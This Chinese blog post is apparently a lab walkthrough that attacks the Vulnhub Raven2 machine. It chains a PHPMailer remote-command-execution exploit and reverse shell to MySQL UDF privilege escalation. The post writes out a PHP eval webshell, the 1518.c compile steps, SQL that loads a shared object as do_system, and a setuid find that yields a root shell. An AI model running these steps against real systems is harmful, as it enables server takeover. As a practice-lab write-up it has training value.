MySQL之UDF提权复现

2024-09-03 16:20
文章标签 mysql 复现 database 提权 udf

本文主要是介绍MySQL之UDF提权复现,希望对大家解决编程问题提供一定的参考价值,需要的开发者们随着小编来一起学习吧!

什么是UDF:

UDF(Userfined function)用户自定义函数,是MySQL的一个扩展接口,用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在 SQL 语句中调用。

提权条件:

  • 知道MySQL用户名和密码,可以登录
  • MySQL有写入文件权限,即 secure_file_priv 的值为空

注意:使用 UDF 提权是在没有获取到 webshell 的前提下,如果获取到了就没有必要进行提权了,因为 udf 提权后就是让你获取目标主机当前用户的权限,而 webshell 也是获取到目标主机当前用户的权限。

如何使用UDF提权

  • MySQL版本 >= 5.1版本:udf.dll(udf.so)文件必须放置于MySQL安装目录下的 lib\plugin 文件夹下

  • MySQL版本 < 5.1版本:udf.dll 文件放置于 c:\windows 或者 c:\system32

如果目录不存在则利用 NTFS 数据流创建文件目录

udf提权可以用于 windows 系统(udf.dll)也可以用于linux平台(udf.so)。但 udf 提权基本上用于 windows 系统,linux系统中 mysql版本 < 5.1 udf.so 该放哪里网上查找也没有得到结果。

靶场复现

通过 vulnhub 下载靶场镜像

靶机地址:https://download.vulnhub.com/raven/Raven2.ova

  • 攻击机kali(192.168.111.129)
  • 靶机Raven2(192.168.111.132)
信息收集

nmap扫描端口开放情况

 nmap 192.168.111.132 -sV -p- -Pn

在这里插入图片描述
发现开放了22,80,111,58686端口,操作系统为Linux。

访问80端口:
在这里插入图片描述
dirsearch 扫描一下目录:
在这里插入图片描述
发现靶机是 wordpress (可以用wpscan扫描有没有wordpress漏洞)。

此外还发现另外一个目录/vendor目录,访问目录发现存在信息泄露

在这里插入图片描述
通过 README.md 文件得知为 phpmailer,百度 phpmailer 知道是一个php发送邮件的程序,且版本小于 5.2.18 存在漏洞远程命令执行漏洞,查看当前 version 版本为 5.2.16
在这里插入图片描述

phpmailer漏洞利用

使用 python 脚本,复制脚本到桌面,将 target 改为目标IP,后面拼接 contact.php(该文件应该是PHPMailer服务接口),backdoor 为生成的后门文件,payload 改为 kali 的 ip 和监听的端口,email那把路径改为目标的网站根目录,可以在 /vendor/PATH 中找到。
在这里插入图片描述
修改完成后执行。

 python 40974.py  

在这里插入图片描述
先开启 nc 监听接收shell,然后浏览器访问生成的后门文件,终端回显,getshell成功。(这里后门文件名应该有限制,默认生成不了,改为1.php后成功了)
在这里插入图片描述
在这里插入图片描述
在这里插入图片描述
执行 whoami 发现为 www-date 权限

使用 python 执行交互式 shell

python -c 'import pty;pty.spawn("/bin/bash")'

也可以写一句话用菜刀蚁剑连接方便操作

echo '<?php @eval($_POST['s']);?>' >2.php

进入wordpress目录内查看wp的配置文件wp-config.php,发现数据库用户名与密码。
在这里插入图片描述
账号 root,密码 R@v3nSecurity

使用得到的用户名密码登录mysql

mysql -uroot -pR@v3nSecurity

在这里插入图片描述
在user表中发现了其他用户名与密码,但是加密的密码没有破解出来。所以换个思路尝试下UDF提权。

MySQL-UDF提权利用

首先查找漏洞,并下载漏洞利用脚本1518.c

searchsploit udfsearchsploit udf -m 1518.c

在这里插入图片描述
下载 udf 提权脚本,在 kali 使用 gcc 编译成 Linux 所需 udf 提权的so文件。

gcc -g -c 1518.cgcc -g -shared -o 1518.so 1518.o

将编译后的1518.so上传到靶机 /tmp 目录内。

python3 -m http.server 8888 wget 192.168.111.129:8888/1518.so

在这里插入图片描述
登录 mysql 切换数据库 wordpress 并创建新表 foo。

create table foo(line blob); #创建数据表insert into foo values(load_file('/tmp/1518.so')); #读取 1518.so 并将其保存在表foo中select * from foo into dumpfile '/usr/lib/mysql/plugin/1518.so';
#查询刚才添加的数据,保存到/usr/lib/mysql/plugin/1518.so文件(mysql存放自定义函数的地方)create function do_system returns integer soname '1518.so';
#加载 1518.so 函数文件用来创建自定义函数,类型是integer,soname 别名 select * from mysql.func; #查询函数是否创建成功select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述

select do_system('chmod u+s /usr/bin/find'); #调用自定义函数do_system赋予find命令suid权限。

在这里插入图片描述
准备工作完成后退出数据库,使用find命令进行提权。

mysql> quit
​
find / -exec "/bin/sh" \;
#find /:从根目录开始查找。
#-exec:表示对找到的每个文件执行后面的命令。
#"/bin/sh":这是要执行的命令,即启动一个新的 shell 实例。
#\;:表示 -exec 命令的结束。

在这里插入图片描述
根据结果可以看到提权成功

这篇关于MySQL之UDF提权复现的文章就介绍到这儿,希望我们推荐的文章对编程师们有所帮助!



http://www.chinasem.cn/article/1133429

相关文章

MySQL数据库双机热备的配置方法详解

《MySQL数据库双机热备的配置方法详解》在企业级应用中,数据库的高可用性和数据的安全性是至关重要的,MySQL作为最流行的开源关系型数据库管理系统之一,提供了多种方式来实现高可用性,其中双机热备(M... 目录1. 环境准备1.1 安装mysql1.2 配置MySQL1.2.1 主服务器配置1.2.2 从

深入理解Mysql OnlineDDL的算法

《深入理解MysqlOnlineDDL的算法》本文主要介绍了讲解MysqlOnlineDDL的算法,文中通过示例代码介绍的非常详细,对大家的学习或者工作具有一定的参考学习价值,需要的朋友们下面随着小... 目录一、Online DDL 是什么?二、Online DDL 的三种主要算法2.1COPY(复制法)

mysql8.0.43使用InnoDB Cluster配置主从复制

《mysql8.0.43使用InnoDBCluster配置主从复制》本文主要介绍了mysql8.0.43使用InnoDBCluster配置主从复制,文中通过示例代码介绍的非常详细,对大家的学习或者... 目录1、配置Hosts解析(所有服务器都要执行)2、安装mysql shell(所有服务器都要执行)3、

k8s中实现mysql主备过程详解

《k8s中实现mysql主备过程详解》文章讲解了在K8s中使用StatefulSet部署MySQL主备架构,包含NFS安装、storageClass配置、MySQL部署及同步检查步骤,确保主备数据一致... 目录一、k8s中实现mysql主备1.1 环境信息1.2 部署nfs-provisioner1.2.

MySQL中VARCHAR和TEXT的区别小结

《MySQL中VARCHAR和TEXT的区别小结》MySQL中VARCHAR和TEXT用于存储字符串,VARCHAR可变长度存储在行内,适合短文本;TEXT存储在溢出页,适合大文本,下面就来具体的了解... 目录一、VARCHAR 和 TEXT 基本介绍1. VARCHAR2. TEXT二、VARCHAR

MySQL中C接口的实现

《MySQL中C接口的实现》本节内容介绍使用C/C++访问数据库,包括对数据库的增删查改操作,主要是学习一些接口的调用,具有一定的参考价值,感兴趣的可以了解一下... 目录准备mysql库使用mysql库编译文件官方API文档对象的创建和关闭链接数据库下达sql指令select语句前言:本节内容介绍使用C/

mybatis直接执行完整sql及踩坑解决

《mybatis直接执行完整sql及踩坑解决》MyBatis可通过select标签执行动态SQL,DQL用ListLinkedHashMap接收结果,DML用int处理,注意防御SQL注入,优先使用#... 目录myBATiFBNZQs直接执行完整sql及踩坑select语句采用count、insert、u

MySQL之搜索引擎使用解读

《MySQL之搜索引擎使用解读》MySQL存储引擎是数据存储和管理的核心组件,不同引擎(如InnoDB、MyISAM)采用不同机制,InnoDB支持事务与行锁,适合高并发场景;MyISAM不支持事务,... 目录mysql的存储引擎是什么MySQL存储引擎的功能MySQL的存储引擎的分类查看存储引擎1.命令

一文详解MySQL索引(六张图彻底搞懂)

《一文详解MySQL索引(六张图彻底搞懂)》MySQL索引的建立对于MySQL的高效运行是很重要的,索引可以大大提高MySQL的检索速度,:本文主要介绍MySQL索引的相关资料,文中通过代码介绍的... 目录一、什么是索引?为什么需要索引?二、索引该用哪种数据结构?1. 哈希表2. 跳表3. 二叉排序树4.

MySQL批量替换数据库字符集的实用方法(附详细代码)

《MySQL批量替换数据库字符集的实用方法(附详细代码)》当需要修改数据库编码和字符集时,通常需要对其下属的所有表及表中所有字段进行修改,下面:本文主要介绍MySQL批量替换数据库字符集的实用方法... 目录前言为什么要批量修改字符集?整体脚本脚本逻辑解析1. 设置目标参数2. 生成修改表默认字符集的语句3